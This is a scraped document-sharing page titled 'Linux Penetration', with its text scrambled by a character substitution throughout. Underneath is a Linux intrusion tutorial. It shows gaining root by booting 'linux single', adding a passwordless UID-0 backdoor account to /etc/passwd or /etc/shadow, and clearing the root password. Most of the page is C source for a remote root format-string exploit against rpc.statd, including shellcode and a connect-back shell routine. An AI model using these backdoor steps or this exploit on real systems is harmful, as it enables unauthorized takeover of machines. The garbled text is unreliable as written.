Linux Penetration
-
Upload
saba-wasim -
Category
Documents
-
view
226 -
download
0
Transcript of Linux Penetration
-
8/8/2019 Linux Penetration
1/35
Laob|a ~a ibva bm# xka|a ep bma xkemn xkfx ubq maah xb gaaz em iemh- e-a- Ob| xkep xb~b|g# ubq maah xb kfva zkupe`fc f``app xb xka xf|nax pupxai- Fmu~fu# lbbx xka xf|naxpupxai fmh ~fex ob| xka CEmq{ CBfha| b| CECB Z|bizx xb `bia qz-
Fx xka CECB z|bizx xuza cemq{ pemnca +~exkbqx Vqbxap% b| cemq{ 6 xb nax xka |bbx pkacc~ka|a ubq `fm z|f`xe`fccu hb fmuxkemn-
Bm`a Cemq{ pemnca ep |qmmemn# ubq nax xka |bbx pkacc ~ka|a ubq `fm xuza `fm fmu`biifmh ~ke`k ep f``azxah lu xka haofqcx pkacc bm ubq| pupxai- Mb~# ka|a# xuzacemq{`bmo- Xkep ~ecc l|emn qz f lcqa p`|aam# ~ke`k ep xka Cemq{ @bmoenq|fxebm Qxecexu-Xkam# `ce`g bm Qpa|p = \bbx Zfpp~b|h- Xkep ~ecc fccb~ ubq xb `kfmna xka |bbxzfpp~b|h&&& Uap# ubq |afh |enkx# `kfmna xka |bbx zfpp~b|h- P`|bcc hb~m oq|xka|# fmh ubq`bqch fcpb fhh ma~ f``bqmxp ~exk |bbx z|evecanap-
Xka cemq{ `bmoen qxecexu ep `a|xfemcu mbx f kbca em Cemq{- Ex ~fp f`xqfccu hapenmah xb kacz#eo xka |bbx zfpp~b|h ~fp ob|nbxxam-
^acc# xka|a ep uax fmbxka| ~fu em ~ke`k ~a `fm nax |bbx- Em xka oe|px iaxkbh# ~a xuzahcemq{`bmo em xka lfpk pkacc z|bizx# kb~ava|# ~a `bqch xuza xka obccb~emn xb `|afxa fma~ f``bqmx ~exk |bbx z|evecanap fmh ~exkbqx fmu zfpp~b|h4
a`kb a~b|ch44:4:444 == "ax`"zfpp~h
Xkep `biifmh ~ecc lfpe`fccu ahex xka "ax`"zfpp~h oeca ~ke`k ep xka zfpp~b|h oeca ~ke`kpxb|ap xka Zfpp~b|hp fmh Qpa|mfiap bo fcc f``bqmxp bm xka if`kema- Bma xkemn xb|aiaila| ka|a ep xkfx ubq `fm ahex xka "ax`"zfpp~h oeca bmcu eo ubq f|a cbnnah em fp |bbx#kb~ava|# em xkep `fpa ~a f|a mbx cbnnah em fp |bbx# lqx ~a kfva lbbxah emxb cemq{ pemnca~ke`k nevap qp xka |bbx pkacc- Kam`a# ~a `fm pxecc ahex ex-
Fmu~fu# xb qmha|pxfmh kb~ a{f`xcu xka flbva `biifmh ~b|gp fmh kb~ ex ep flca xb`|afxa f ma~ f``bqmx ~exkbqx f zfpp~b|h# ~a maah xb caf|m xka "ax`"zfpp~h oeca eppx|q`xq|ah-
-
8/8/2019 Linux Penetration
2/35
Xka obccb~emn ep f cema o|bi f zfpp~b|h oeca4
a~b|ch4iuRzfpp~b|h4
-
8/8/2019 Linux Penetration
3/35
N|bqz Mqila|4 :
F`xqfc Mfia4
Kbia He|a`xb|u4
Xuza bo Pkacc4
Xkep lfpe`fccu `|afxap f ma~ f``bqmx ~exk |bbx z|evecanap# ~ke`k `fm la qpah fp fLf`ghbb| emxb xka pupxai-
$$$$$$$$$$$$$$$$$$$$$$
KF@GEMN X\QXK4 Eo ubq kfva amflcah# pkfhb~ zfpp~b|hp# xkam xka `biifmh ~ecc`kfmna xb4
a`kb a~b|ch44:4:444 == "ax`"pkfhb~
F xuze`fc cema o|bi xka zfpp~b|h oeca bm f pupxai ~exk Pkfhb~ Zfpp~b|hp amflcah ep fpobccb~p4
a~b|ch4$4
-
8/8/2019 Linux Penetration
4/35
Mb~# fp ubq f|a em xka |bbx pkacc# cfqm`k ubq| ofvb|exa ahexb| +an ve% fmh bzam "ax`"zfpp~hem ex- Mb~# hacaxa xka am`|uzxah xa{x lax~aam xka oe|px x~b `bcbmp em xka cema# ~ke`k
`bmxfemp xka amx|u ob| |bbx- Xkep# ~ecc mbx `|afxa f ma~ f``bqmx ~exk |bbx z|evecanap# lqx~ecc `kfmna xka zfpp~b|h bo xka |bbx# xb mqcc- Pb# lfpe`fccu xkep ~ecc nax ubq f |bbx f``bqmx~exkbqx fmu zfpp~b|h- Bm`a# ubq kfva |aibvah xka am`|uzxah zfpp~b|h# fx xka z|bizx#xuza emex 0 xb p~ex`k lf`g xb xka mb|ifc pxf|x qz b| acpa ob| f n|fzke`fc pxf|x qz xuza4 emex 1-
Mb~# pfu ubq hb mbx ~fmx xb `|afxa f ma~ f``bqmx# lqx ~fmx xb `kfmna xka |bbx zfpp~b|hpb fp xb xaf`k xka pupxai fhiemepx|fxb| f cappbm- ^kfx hb ubq hb2 ^acc# peizcu qpa xkazfpp~h `biifmh obccb~ah lu xka ma~ zfpp~b|h- Fp ubq f|a em xka |bbx pkacc# xka |bbx
zfpp~b|h ~ecc `kfmna xb xka ma~ bma xkfx ubq pqzzcu-
BG# E nax xka zbemx7 Cemq{ xbb ep mbx 6::! pfoa# pb kb~ `fm E ifga ex pfoa|2 ^acc# ubq`bqch zfpp~b|h z|bxa`x cemq{ pemnca- Xb hb pb# ubq kfva xb cfqm`k ubq| ofvb|exa ahexb|cega ve# fmh bzam "ax`"CECB-`bmo- Mb~# fhh xka obccb~emn cema# em f ma~ cema# foxa| xka oe|pxcema4
\apx|e`xah zfpp~b|hRnbapRka|a
+Xka flbva ep4 \apx|e`xah obccb~ah lu f pzf`a fmh obccb~emn lu xka zfpp~b|h xkfx ubq`kbbpa-%
Mb~# pfva fmh `cbpa xka ahexb|- Fx xka z|bizx xkam xuza4 CECB# xb a{a`qxa xka"ax`"CECB-`bmo oeca# pb fp xb ifga xka `kfmnap- Mb~# xka ma{x xeia# ubq xuza cemq{pemnca# fx xka CECB z|bizx# ubq ~ecc la fpgah xka zfpp~b|h xkfx ubq xuzah em xka flbvaoeca- Pb xkep lfpe`fccu f`xp fp fmbxka| lf||ea| ob| fmubma x|uemn xb qpa xka xa`kmeqaphap`|elah em xkep ifmqfc# xb l|afg emxb ubq| Cemq{ lb{- Mbma# bo xka bxka| oqm`xebmemn boxka cemq{ lb{ ~ecc la fooa`xah-
$$$$$$$$$$$$$$$$$$$$
-
8/8/2019 Linux Penetration
5/35
KF@GEMN X\QXK4 ^acc# F|fnbm +vacdgbzJzxx-uq % pqnnapxah uax fmbxka| iaxkbh#~ke`k E ~bqch cega xb iamxebm-
6-Nb xb he|a`xb|u "ax`"|`-h
-
8/8/2019 Linux Penetration
6/35
Ke#
Em`cqhah lacb~ ep fm a{zcbex ob| xka |a`amxcu a{zbpah cemq{ |z`-pxfxh
ob|ifx px|emn vqcma|flecexuW:Y- E kfva xfecb|ah ex xb~f|hp `q||amx \ahkfx
Cemq{ ?-{ empxfccfxebmp- Ex `fm afpecu la em`b|zb|fxah emxb fxxf`gp fnfempx
xka bxka| vqcma|flca Cemq{ hepx|elqxebmp-
E fi mbx f pa`q|exu a{za|x# lqx E.cc booa| iu x~b `amxp ~b|xk4 xkep ob|ifx
px|emn eppqa# ~keca h|f~emn qzbm acaiamxp bo px|fenkxob|~f|h lqooa| bva|ocb~
a{zcbexfxebm# ep ib|a empehebqp fmh ~ecc z|blflcu xfga pbia xeia xb empxecc
expaco em xka iemhp bo avam pa`q|exu)`bmp`ebqp z|bn|fiia|p- Z|bn|fip cega
EXP8W6Y# zp`fmW
-
8/8/2019 Linux Penetration
7/35
pkb~p qp xkfx f cbx bo z|bn|fip pbiakb~ pcezzah xk|bqnk xka `|f`gp-% Pbiabma
acpa pamx fm a{`accamx zbpx flbqx xka zbppelecexu bo ,|aibxa halqnnemn, ~exk
xkapa ob|ifx px|emn vqcma|flecexeap- Bm`a fnfem# E.i mbx pzafgemn bqx bo fmu
fqxkb|exu# lqx E `fm pfu xkfx pq`k fm feh xb bxka|~epa lcemh a{zcbexfxebm
ep emhaah f nbhpamh ~kam f kbpx ep laemn z|blah lu f pgeccah emx|qha|-
Ubq iqpx qmha|pxfmh xkfx xkep zf|xe`qcf| vqcma|flecexu ep iq`k kf|ha| xb
a{zcbex xkfm xka lqooa| bva|ocb~ vqcma|flecexeap xkfx ubq.|a z|blflcu
f``qpxbiah xb- Xka z|blcai ~ke`k ~ecc lexa ubq ep xkfx eo xka `fc`qcfxebmp
f|a mbx z|a`epa# pxfxh `|fpkap ~exk f PENPAN_- Fp ubq.va |afcetah lu mb~#
l|qxa ob|`emn ~bm.x `qx ex- Fcpb# f pq``appoqc a{zcbexfxebm ~ecc |amha|
pqlpaqamx fxxf`gp o|qexcapp-
E kfva paam pxfxh |qmmemn bm f n|afx mqila| bo cemq{ pupxaip fmh eo ubq `fm
peiqcfxa fm fxxf`g fnfempx f |aibxa pupxai bm bma bo ubq| b~m lb{ap# ex ep
$x|evefc$ xb a{zcbex xkfx |aibxa pupxai- Hapzexa xka pkb|x`biemn ~exk
xka pemnca fxxaizx |apx|e`xebm# ex ~fp zbppelca xb |ahq`a xka a{zcbexfxebm
vf|eflcap hb~m xb f PEMNCA fhh|app ob| ibpx fxxf`gp- Xka haofqcx vfcqap
ob| \ahkfx Cemq{ ?-{ ~b|g oema ob| ia# pb E.i z|blflcu oqppemn bva| mbxkemn-
Fmu~fu# amdbu xka a{zcbex-
|bm6m
-
8/8/2019 Linux Penetration
8/35
pkacc`bhaJkbxifec-`bi
Puhmau# Fqpx|fcef
I`Hbmfchp h|eva)xk|q nqu
W:Y kxxz4""~~~-pa`q|exuob`qp-`bi"
W6Y kxxz4""~~~-|px`b|z-`bi"exp8"
W
-
8/8/2019 Linux Penetration
9/35
$$$ ^kb ~amx fkafh fmh oacc ob| ubq
$$$
$$$ ( n`` )b pxfxh{ pxfxh{-` 7 -"pxfxh{ )k
$$$
$$$ lf`gn|bqmh emob
$$$ )))))))))))))))
$$$ |z`-pxfxh ep fm BM@ \Z@ pa|va| xkfx eizcaiamxp xka Max~b|g Pxfxqp
$$$ Ibmexb| \Z@ z|bxb`bc xb z|bveha |albbx mbxeoe`fxebm- Ex ep qpah lu
$$$ xka MOP oeca cb`gemn pa|ve`a +|z`-cb`gh% ~kam ex za|ob|ip cb`g
$$$ |a`bva|u-
$$$
$$$ Hqa xb f ob|ifx px|emn vqcma|flecexu em f `fcc xb pupcbn+% ~exkem
$$$ exp cbnnemn ibhqca# |z`-pxfxh `fm la a{zcbexah |aibxacu lu p`|ezx
$$$ gehp lamx bm l|afgemn emxb ubq| \ahkfx Cemq{ lb{ fmh haof`emn ubq|
$$$ ~alpexa ~exk `|f`gzbx zbcexe`fc iqpemnp-
$$$
$$$ Xkep ep mbx f x|fhexebmfc lqooa| bva|ocb~ vqcma|flecexu- Xka hfxf
$$$ f|a gazx ~exkem xka lbqmhp bo xka lqooa| lu iafmp bo f `fcc xb
$$$ vpmz|emxo+%- Xka pfvah |axq|m fhh|app `fm la bva|~|exxam emhe|a`xcu
$$$ ~exkbqx f `bmxenqbqp zfucbfh- pupcbn+% ep nevam# ob| xka ibpx zf|x#
$$$ f qpa|)pqzzceah ob|ifx px|emn ~exk mb z|b`app)pqzzceah f|nqiamxp-
$$$ Bq| ob|ifx px|emn ~ecc# eo `f|aoqccu `bmpx|q`xah# `fqpa xka z|b`app
$$$ xb `qcc mbm)f|lex|f|u fhh|appap o|bi xka xbz bo xka pxf`g ob|
-
8/8/2019 Linux Penetration
10/35
$$$ paqamxefc ~|exap qpemn `bmx|bccah vfcqap- A{zcbexfxebm |aqe|ap
$$$ fm a{a`qxflca pxf`g bm xka xf|nax kbpx )) fcibpx emvf|eflcu xka
$$$ `fpa- Xkep z|blcai ~fp `b||a`xah em xka mop)qxecp):-6-5-6 |zi-
$$$
$$$ a{zcbex emob
$$$ ))))))))))))
$$$ Ubq kfva bma pkbx fx xkep em ibpx pexqfxebmp# pb nax ex |enkx&
$$$
$$$ Eo ubq gmb~ xka zb|x mqila| |z`-pxfxh ep pa|vemn |aqapxp bm# ubq
$$$ `fm pqzzcu xka zb|x mqila| bm xka `biifmhcema xb luzfpp xka emexefc
$$$ zb|xifzza| qa|u- Xkep ep va|u qpaoqc ob| kbpxp ~ke`k f|a oecxa|emn
$$$ emlbqmh `bmma`xebmp xb xka zb|xifzza|- Xka haofqcx fxxf`g z|bxb`bc
$$$ ep QHZ- Xka|a ep f `biifmhcema bzxebm xb qpa X@Z- Fzzf|amxcu# xka
$$$ hepzfx`ka| qpap lbxk z|bxb`bcp lu haofqcx-
$$$
$$$ Eo ubq.|a bmcu emxa|apxah em a{zcbexemn f kbpx# xkam ubq `fm pfoacu
$$$ pgez xka obccb~emn emob|ifxebm- Ubq.cc bmcu maah f lqooa| fhh|app
$$$ xb nax pxf|xah- Xkep lqooa| fhh|app ~ecc aexka| la bma bo iu `fmmah
$$$ bmap b| ubq| b~m bma- Ex iqpx la z|a`epa# fmh xkep ep ~ka|a ubq.|a
$$$ cegacu xb a{za|eam`a heooe`qcxeap ~exk ubq| fxxf`gp-
$$$
$$$ WvfRcepxYWpx|YW8YW|YW8YW|'6YW8YW|'
-
8/8/2019 Linux Penetration
11/35
$$$ !apz lqooa|W6:
-
8/8/2019 Linux Penetration
12/35
$$$
$$$ Wxa|i 6Y cx|f`a )z jzehbo |z`-pxfxhj )b obb
$$$ Wxa|i
-
8/8/2019 Linux Penetration
13/35
em`cqha 3maxhl-k=
em`cqha 3|z`"|z`-k=
em`cqha 3pup"xuzap-k=
em`cqha 3pup"xeia-k=
em`cqha 3pup"pb`gax-k=
em`cqha 3maxemax"em-k=
haoema PIRZ\BN 6:::
-
8/8/2019 Linux Penetration
14/35
"$ diz |e`b`kax ))))))))))))))))))))))))))))))))))))))))))))))))))))))) $"
,S{alS{>`, "$ diz :{>` $"
"$ gqmnoq4 )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) $"
,S{15, "$ zbzc !a`{ $"
,S{;5S{86S{6:, "$ ibvc !af{#:{6:+!a`{% $"
"$ )))))))))))))))))))))))))))))))))))) pb`gax+
-
8/8/2019 Linux Penetration
15/35
,S{`hS{;:, "$ emx (:{;: $"
"$ )))))))))))))))))))))))))))))))))))) cepxam+ph#lcfk%7 )))))))))))))) $"
,S{l0S{:8, "$ ibvl (:{8#!lc $"
,S{l:S{??, "$ ibvl (:{??#!fc $"
,S{`hS{;:, "$ emx (:{;: $"
"$ )))))))))))))))))))))))))))))))))))) f``azx+ph#:#6?%7 )))))))))))))) $"
,S{l0S{:1, "$ ibvl (:{1#!lc $"
,S{0:S{`:, "$ {b|l !fc#!fc $"
,S{;;S{86S{:8, "$ ibvl !fc#:{8+!a`{% $"
,S{l:S{??, "$ ibvl (:{??#!fc $"
,S{`hS{;:, "$ emx (:{;: $"
"$ )))))))))))))))))))))))))))))))))))) hqz
-
8/8/2019 Linux Penetration
16/35
,S{l:S{0o, "$ ibvl (:{0o#!fc $"
,S{`hS{;:, "$ emx (:{;: $"
"$ )))))))))))))))))))))))))))))))))))) a{a`va+,"lem"pk,#f|nv#:%7 ))))) $"
,S{`>S{:?S{, "$ ibvl !fc#:{>+!ape% $"
,S{;5S{>?S{:`, "$ ibvc !ape#:{`+!ape% $"
,S{;hS{1?S{6:, "$ cafc :{6:+!ape%#!ah{ $"
,S{;hS{8aS{:`, "$ cafc :{`+!ape%#!a`{ $"
,S{;5S{o0, "$ ibvc !ape#!al{ $"
,S{l:S{:l, "$ ibvl (:{l#!fc $"
,S{`hS{;:, "$ emx (:{;: $"
"$ )))))))))))))))))))))))))))))))))))) a{ex+lcfk%7 ))))))))))))))))))) $"
,S{l:S{:6, "$ ibvl (:{6#!fc $"
,S{`hS{;:, "$ emx (:{;: $"
"$ |e`b`kax4 fcc gqmnoq )))))))))))))))))))))))))))))))))))))))))))))) $"
,S{a;S{>oS{ooS{ooS{oo,7 "$ `fcc ):{;6 $"
amqi |ap
w
pxfxRpq``#
pxfxRofec
-
8/8/2019 Linux Penetration
17/35
y7
px|q`x piRmfia
w
`kf| $ibmRmfia7
y7
px|q`x piRpxfxR|ap
w
amqi |ap |apRpxfx7
emx pxfxa7
y7
px|q`x xuza
w
emx xuza7
`kf| $hap`7
`kf| $`bha7
qRcbmn lqozbp7
emx lqocam7
emx boopax7
emx ~eza7
y7
-
8/8/2019 Linux Penetration
18/35
px|q`x xuza xuzapWY 9
w
w:# ,\ahkfx ?-< +mop)qxecp):-6-?)%,# pkacc`bha# :{loooo068# 6:
-
8/8/2019 Linux Penetration
19/35
|axq|m +X\QA%7
y
lbbcRx
{h|RpiRpxfxR|ap+[H\ ${h|p# px|q`x piRpxfxR|ap $bldz%
w
eo +&{h|R|ap+{h|p# /bldz)=|apRpxfx%%
|axq|m +OFCPA%7
eo +&{h|Remx+{h|p# /bldz)=pxfxa%%
|axq|m +OFCPA%7
|axq|m +X\QA%7
y
vbeh
qpfna+`kf| $fzz%
w
emx e7
oz|emxo+pxha||# ,pxfxh{ lu |bm6m 3pkacc`bhaJkbxifec-`bi=Sm,%7
oz|emxo+pxha||# ,Qpfna4 !p W)xY W)z zb|xY W)f fhh|Y W)c camYSm,# fzz%7
oz|emxo+pxha||# ,SxW)b boopaxY W)~ mqiY W)p pa`pY W)h xuzaY
3xf|nax=Sm,%7
oz|emxo+pxha||# ,)xSxfxxf`g f x`z hepzfx`ka| WqhzYSm,%7
-
8/8/2019 Linux Penetration
20/35
oz|emxo+pxha||# ,)zSx|z`-pxfxh pa|vap |aqapxp bm 3zb|x= Wqa|uYSm,%7
oz|emxo+pxha||# ,)fSxxka pxf`g fhh|app bo xka lqooa| ep 3fhh|=Sm,%7
oz|emxo+pxha||# ,)cSxxka camnxk bo xka lqooa| ep 3cam= W6:
-
8/8/2019 Linux Penetration
21/35
pamh+pb`gh# ,`h "7 cp )fcO7 eh7Sm,# 65# :%7
ob|+77%
w
OHRTA\B+/ohp%7
OHRPAX+oecamb+pxhem%# /ohp%7
OHRPAX+pb`gh# /ohp%7
eo+paca`x+oif{# /ohp# MQCC# MQCC# MQCC% 3 :%
w
za||b|+,paca`x+%,%7
a{ex+A[EXROFECQ\A%7
y
eo+OHREPPAX+pb`gh# /ohp%%
w
lta|b+lqoo# petabo lqoo%7
eo++|ax 9 |a`v+pb`gh# lqoo# petabo lqoo# :%% 3 :%
w
za||b|+,|a`v+%,%7
a{ex+A[EXROFECQ\A%7
y
-
8/8/2019 Linux Penetration
22/35
eo+&|ax%
w
oz|emxo+pxha||# ,@bmma`xebm `cbpahSm,%7
a{ex+A[EXROFECQ\A%7
y
~|exa+oecamb+pxhbqx%# lqoo# |ax%7
y
eo+OHREPPAX+oecamb+pxhem%# /ohp%%
w
lta|b+lqoo# petabo lqoo%7
|ax 9 |afh+oecamb+pxhem%# lqoo# petabo lqoo%7
a||mb 9 :7
eo+pamh+pb`gh# lqoo# |ax# :% &9 |ax%
w
eo+a||mb% za||b|+,pamh+%,%7
acpa oz|emxo+pxha||# ,X|fmpieppebm cbppSm,%7
a{ex+A[EXROFECQ\A%7
y
y
y
y
-
8/8/2019 Linux Penetration
23/35
vbeh
`bmma`xebm+px|q`x pb`gfhh|Rem kbpx%
w
emx pb`gh7
kbpx-pemRzb|x 9 kxbmp+056?;%7
eo++pb`gh 9 pb`gax+FOREMAX# PB@GRPX\AFI# EZZ\BXBRX@Z%% 3 :%
w
za||b|+,pb`gax+%,%7
a{ex+A[EXROFECQ\A%7
y
eo+&`bmma`x+pb`gh# +px|q`x pb`gfhh| $% /kbpx# petabo kbpx%%
w
z|emxo+,BIN& Ubq mb~ kfva |z`-pxfxh xa`kmeqa&J(&Sm,%7
|qmpkacc+pb`gh%7
y
`cbpa+pb`gh%7
y
-
8/8/2019 Linux Penetration
24/35
`kf| $
~etf|h|u+`kf| $p`# qRcbmn lqozbp# emx lqocam# emx boopax# emx ~eza%
w
emx e# d# `mx# zfh7
`kf| zluxa# $lqoo# $zx|7
qRcbmn |axzbp7
qRcbmn hpxzbp7
~keca+lqozbp ! 8% lqozbp))7
"$ lqocam ' alz $"
|axzbp 9 lqozbp ' lqocam ' 87
"$
$$ :{:: 99 .S:.
$$ :{
-
8/8/2019 Linux Penetration
25/35
eo+zluxa 99 :{:: ss zluxa 99 :{
-
8/8/2019 Linux Penetration
26/35
iaipax+zx|# MBZ# lqocam%7
ob|+e 9 :7 e 3 87 e''# |axzbp''%
w
"$ dqmg h~b|h $"
ob|+d 9 :7 d 3 87 d''%
$zx|'' 9 |axzbp == d $ ; / :{oo7
"$ | ' e $"
iai`zu+zx|# zx| ) 8# 8%7
zx| '9 87 `mx '9 ;7
y
"$ |apxb|a $"
|axzbp )9 87
ob|+e 9 :7 e 3 ~eza7 e''%
w
"$ `bmpepxamx `fc`qcfxebmp $"
px|m`zu+zx|# ,!;{,# 0%7
zx| '9 07 `mx '9 ;7
y
hpxzbp 9 lqozbp ' boopax7
-
8/8/2019 Linux Penetration
27/35
"$
$$ Xkep pifcc fcnb|exki bo iema `fm la qpah
$$ xb blxfem ,heooe`qcx, vfcqap--
$"
ob|+e 9 :7 e 3 87 e''%
w
zfh 9 hpxzbp == e $ ; / :{oo7
eo+zfh 99 +`mx / :{oo%%
w
pz|emxo+zx|# ,!!m!!m,%7
zx| '9 87 `bmxemqa7
y
acpa
w
emx xiz7
"$ :{oooooooo 9 hepzcfu `bqmx bo ; $"
~keca+zfh 3 `mx ss zfh ! `mx 39 ;% zfh '9 :{6::7
zfh )9 `mx# `mx '9 zfh7
"$ xka pbq|`a bo xkep avec $"
xiz 9 pz|emxo+zx|# ,!!!h{!!m,# zfh%7
zx| '9 xiz7
-
8/8/2019 Linux Penetration
28/35
y
y
$zx| 9 MBZ7
"$ zcqn em xka pkacc`bha $"
iai`zu+lqoo ' lqocam ) px|cam+p`%# p`# px|cam+p`%%7
lqooWlqocamY 9 .S:.7
z|emxo+,lqooa|4 !c{ camnxk4 !h +'px|"'mqc%Sm,# lqozbp# px|cam+lqoo%%7
z|emxo+,xf|nax4 !c{ ma~4 !c{ +boopax4 !h%Sm,# |axzbp# hpxzbp# boopax%7
z|emxo+,~ezemn !h h~b|hpSm,# ~eza%7
|axq|m lqoo7
y
px|q`x emRfhh|
naxez+`kf| $kbpx%
w
px|q`x kbpxamx $kp7
eo++kp 9 naxkbpxlumfia+kbpx%% 99 MQCC%
w
ka||b|+,naxkbpxlumfia+%,%7
-
8/8/2019 Linux Penetration
29/35
a{ex+A[EXROFECQ\A%7
y
|axq|m $++px|q`x emRfhh| $% kp)=kRfhh|%7
y
emx
ifem+emx f|n`# `kf| $$f|nv%
w
emx `k7
`kf| $lqoo7
@CEAMX $`cmx7
amqi `cmxRpxfx |ap7
px|q`x xeiavfc xv# xv|7
px|q`x piRmfia pimfia7
px|q`x piRpxfxR|ap pi|ap7
px|q`x pb`gfhh|Rem fhh|7
emx xuza 9 )67
emx qpax`z 9 :7
emx xeiabqx 9 17
-
8/8/2019 Linux Penetration
30/35
emx ~eza 9 57
emx boopax 9 ?::7
emx lqocam 9 6:
-
8/8/2019 Linux Penetration
31/35
-
8/8/2019 Linux Penetration
32/35
p` 9 xuzapWxuzaY-`bha7
lqozbp 9 xuzapWxuzaY-lqozbp7
lqocam 9 xuzapWxuzaY-lqocam7
boopax 9 xuzapWxuzaY-boopax7
~eza 9 xuzapWxuzaY-~eza7
y
eo+&lqozbp%
w
oz|emxo+pxha||# ,Mb lqooa| fhh|app pza`eoeahSm,%7
a{ex+A[EXROFECQ\A%7
y
lta|b+/fhh|# petabo fhh|%7
fhh|-pemRofiecu 9 FOREMAX7
fhh|-pemRzb|x 9 kxbmp+zb|x%7
fhh|-pemRfhh| 9 naxez+xf|nax%7
xv-xvRpa` 9 xeiabqx7
xv-xvRqpa` 9 :7
eo+&qpax`z%
w
-
8/8/2019 Linux Penetration
33/35
`cmx 9 `cmxqhzR`|afxa+/fhh|# PIRZ\BN# PIR_A\P# xv# /pb`gz%7
eo+`cmx 99 MQCC%
w
`cmxRz`|afxaa||b|+,`cmxqhzR`|afxa+%,%7
a{ex+A[EXROFECQ\A%7
y
xv|-xvRpa` 9
-
8/8/2019 Linux Penetration
34/35
lqoo 9 ~etf|h|u+p`# lqozbp# lqocam# boopax# ~eza%7
pimfia-ibmRmfia 9 lqoo7
|ap 9 `cmxR`fcc+`cmx# PIRPXFX# +{h|z|b`Rx% {h|RpiRmfia#
+`fhh|Rx% /pimfia# +{h|z|b`Rx% {h|RpiRpxfxR|ap#
+`fhh|Rx% /pi|ap# xv%7
eo+|ap &9 \Z@RPQ@@APP%
w
`cmxRza||b|+`cmx# ,`cmxR`fcc+%,%7
z|emxo+,F xeiabqx ~fp a{za`xah- Fxxaizxemn `bmma`xebm xb pkacc--,%7
pcaaz+1%7 `bmma`xebm+fhh|%7
z|emxo+,OfecahSm,%7
y
acpa
w
z|emxo+,Ofecah ) pxfxh |axq|mah |apRpxfx4 +!p% pxfxa4 !hSm,#
pi|ap-|apRpxfx 2 ,ofecq|a, 4 ,pq``app,# pi|ap-pxfxa%7
y
o|aa+lqoo%7
`cmxRhapx|bu+`cmx%7
|axq|m )67
-
8/8/2019 Linux Penetration
35/35
y
RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR